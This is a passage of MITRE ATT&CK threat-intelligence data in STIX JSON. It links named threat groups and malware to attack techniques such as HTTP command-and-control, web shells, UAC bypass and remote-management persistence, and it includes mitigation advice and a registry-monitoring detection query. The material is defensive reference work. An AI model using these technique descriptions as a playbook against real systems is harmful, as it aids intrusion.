monitoring for new [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software.","modified":"2022-04-20T03:24:12.967Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705","target_ref":"attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87cc66d0-7cab-4584-b86e-f2d56d492271","type":"relationship","created":"2020-03-17T02:36:01.176Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 SilverTerrier 2018","url":"https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise","description":"Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018."}],"modified":"2020-03-17T02:36:01.176Z","description":"[SilverTerrier](https://attack.mitre.org/groups/G0083) uses HTTP for C2 communications.(Citation: Unit42 SilverTerrier 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--87cf80be-bae1-4a12-a754-38cad36724ac","created":"2023-07-10T15:23:12.206Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-10T15:23:12.206Z","description":"Restrict the use of third-party software suites installed within an enterprise network. ","relationship_type":"mitigates","source_ref":"course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87d193e1-8418-46d1-81c6-66a6b863e6de","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--87d7a5b5-8f45-4a88-bc3c-f73f67a50255","created":"2023-08-08T14:09:55.490Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.658Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has utilized the PowerShell script `Get-DataInfo.ps1` to collect installed backup software information from a compromised machine.(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--87d83969-9f72-40a7-bcf9-edd7561bb49b","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T18:10:03.667Z","description":"Monitor for unexpected process interactions with the Windows Registry (i.e. reads) that may be related to gathering information.\n\nNote: For Security Auditing event ids 4656 and 4663, a System Access Control List (SACL) that controls the use of specific access rights such as Enumerate sub-keys and Query key value is required for event generation. Depending on the Registry key you are monitoring, the implementation of a new System Access Control List (SACL) might be required. Depending of Registry key used for the creation of a System Access Control List (SACL), the generation of event ids 4656 and 4663 might be noisy.\n\nAnalytic 1 - Suspicious Registry\n\n(sourcetype=\"WinEventLog:Security\" EventCode IN (4663, 4656)) AND ObjectType=\"Key\" | WHERE ObjectName LIKE \"%SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall%\" AND (UserAccessList LIKE \"%4435%\" OR UserAccessList LIKE \"%Enumerate sub-keys%\" OR UserAccessList LIKE \"%4432%\" OR UserAccessList LIKE \"%Query key value%\") AND Image NOT IN ('FilePathToExpectedProcess01.exe','FilePathToExpectedProcess02.exe')","relationship_type":"detects","source_ref":"x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87ddc052-0933-4722-9fb2-4653c4a3663c","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html","description":"valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.","source_name":"aptsim"}],"modified":"2020-03-16T23:31:14.695Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has been known to stage files for exfiltration in a single location.(Citation: aptsim)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87df901e-dd6b-4eae-9a63-b546c169d192","type":"relationship","created":"2020-10-20T03:32:46.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:44:05.832Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87e080cf-b8c0-4679-bcfb-ff77ab7698f3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T18:38:39.083Z","description":"The initial beacon packet for [Misdat](https://attack.mitre.org/software/S0083) contains the operating system version of the victim.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--87e0b924-d2a6-4e65-95ed-9500670bbe5c","created":"2024-03-26T19:33:17.723Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"},{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"},{"source_name":"Trellix Scattered Spider MO August 2023","description":"Trellix et. al.. (2023, August 17). Scattered Spider: The Modus Operandi. Retrieved March 18, 2024.","url":"https://www.trellix.com/blogs/research/scattered-spider-the-modus-operandi/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T15:06:17.688Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) directed victims to run remote monitoring and management (RMM) tools.(Citation: Crowdstrike TELCO BPO Campaign December 2022)\n\nIn addition to directing victims to run remote software, Scattered Spider members themselves also deploy RMM software including AnyDesk, LogMeIn, and ConnectWise Control to establish persistence on the compromised network.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: Trellix Scattered Spider MO August 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87e49c65-5484-47f3-bcd6-a8cc6308c3f2","type":"relationship","created":"2021-07-01T17:06:56.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-07-01T17:06:56.855Z","description":"[Nebulae](https://attack.mitre.org/software/S0630) has created a service named \"Windows Update Agent1\" to appear legitimate.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--87e617b5-0169-458a-835e-08f81bffc179","created":"2024-06-26T18:21:36.276Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-30T18:09:19.799Z","description":"The [LunarWeb](https://attack.mitre.org/software/S1141) install files have been encrypted with AES-256.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--87e73122-361f-47a2-a401-0e863300e123","created":"2022-10-17T15:58:29.867Z","revoked":false,"external_references":[{"source_name":"ClearSky Siamesekitten August 2021","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022.","url":"https://www.clearskysec.com/siamesekitten/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T15:58:29.867Z","description":"[Shark](https://attack.mitre.org/software/S1019) can stop execution if the screen width of the targeted machine is not over 600 pixels.(Citation: ClearSky Siamesekitten August 2021)","relationship_type":"uses","source_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87e7c117-bf53-432e-9ff3-2aeb2e522231","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lazarus RATANKBA","description":"Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"},{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}],"modified":"2020-09-02T18:46:32.969Z","description":"[RATANKBA](https://attack.mitre.org/software/S0241) lists the system’s processes.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)","relationship_type":"uses","source_ref":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87e853bb-a82f-4a8c-a43a-e7da05f43619","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"alientvault macspy","description":"PETER EWANE. (2017, June 9). MacSpy: OS X RAT as a Service. Retrieved September 21, 2018.","url":"https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service"}],"modified":"2020-01-17T19:50:53.305Z","description":"[MacSpy](https://attack.mitre.org/software/S0282) stores itself in ~/Library/.DS_Stores/ (Citation: alientvault macspy)","relationship_type":"uses","source_ref":"malware--f72251cb-2be5-421f-a081-99c29a1209e7","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87e99b39-e634-477e-b260-6098abc58dc2","type":"relationship","created":"2021-04-13T13:10:36.947Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T13:10:36.947Z","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) can list PHP server configuration details.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87ebb077-671c-42b2-ad27-07f54b5920be","type":"relationship","created":"2022-03-24T22:31:32.754Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T22:31:32.754Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can scan for open ports on a compromised machine.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--87ef3b62-acb4-4cd2-86ec-36683a57bedf","created":"2023-09-21T16:26:40.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RotaJakiro 2021 netlab360 analysis","description":" Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T21:17:14.876Z","description":"[RotaJakiro](https://attack.mitre.org/software/S1078) executes a set of commands to collect device information, including `uname`. Another example is the `cat /etc/*release | uniq` command used to collect the current OS distribution.(Citation: RotaJakiro 2021 netlab360 analysis)","relationship_type":"uses","source_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87f40abf-4ee5-4f56-8150-97e0dd823a93","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","source_name":"Unit 42 DarkHydrus July 2018"},{"source_name":"Unit42 DarkHydrus Jan 2019","url":"https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/","description":"Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."}],"modified":"2019-04-22T19:23:13.541Z","description":"(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)","relationship_type":"uses","source_ref":"intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01","target_ref":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--87f45aac-1025-4a44-af9c-db139ea60f78","created":"2020-03-17T00:07:27.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.412Z","description":"Later implants used by [APT28](https://attack.mitre.org/groups/G0007), such as [CHOPSTICK](https://attack.mitre.org/software/S0023), use a blend of HTTP, HTTPS, and other legitimate channels for C2, depending on module configuration.(Citation: FireEye APT28)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87fb2671-e71a-4630-bde2-67e546fdeaa6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-05-12T22:13:16.802Z","description":"[RTM](https://attack.mitre.org/software/S0148) encrypts C2 traffic with a custom RC4 variant.(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--87fd0088-41da-47ac-bd69-a8ac151a0d39","created":"2019-06-24T18:00:41.676Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft PowerShell CLM","description":"PowerShell Team. (2017, November 2). PowerShell Constrained Language Mode. Retrieved March 27, 2023.","url":"https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-27T17:01:46.795Z","description":"Use application control where appropriate. For example, PowerShell Constrained Language mode can be used to restrict access to sensitive or otherwise dangerous language elements such as those used to execute arbitrary Windows APIs or files (e.g., `Add-Type`).(Citation: Microsoft PowerShell CLM)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8801779f-200c-4744-823e-c3405ec9a22e","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88078d5c-bbc9-4c34-858f-e18d472d38d4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2020-03-16T16:34:49.826Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can download a remote access tool, [ShiftyBug](https://attack.mitre.org/software/S0294), and inject into another process.(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--880a83f9-a07a-436d-8aa4-1afbe8b66d57","created":"2022-08-11T22:50:14.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T19:25:09.061Z","description":"[Moses Staff](https://attack.mitre.org/groups/G1009) has dropped a web shell onto a compromised system.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88111958-702b-4bfb-9ad1-c329491df5be","type":"relationship","created":"2020-08-24T13:40:23.293Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-08-24T13:40:23.293Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) installer can use UAC bypass techniques to install the payload.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88157c8d-48d7-4114-8783-d22999a8f990","type":"relationship","created":"2020-06-25T17:48:41.203Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Windshift August 2018","url":"https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf","description":"Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."}],"modified":"2020-06-25T17:48:41.203Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has sent spearphishing emails with links to harvest credentials and deliver malware.(Citation: SANS Windshift August 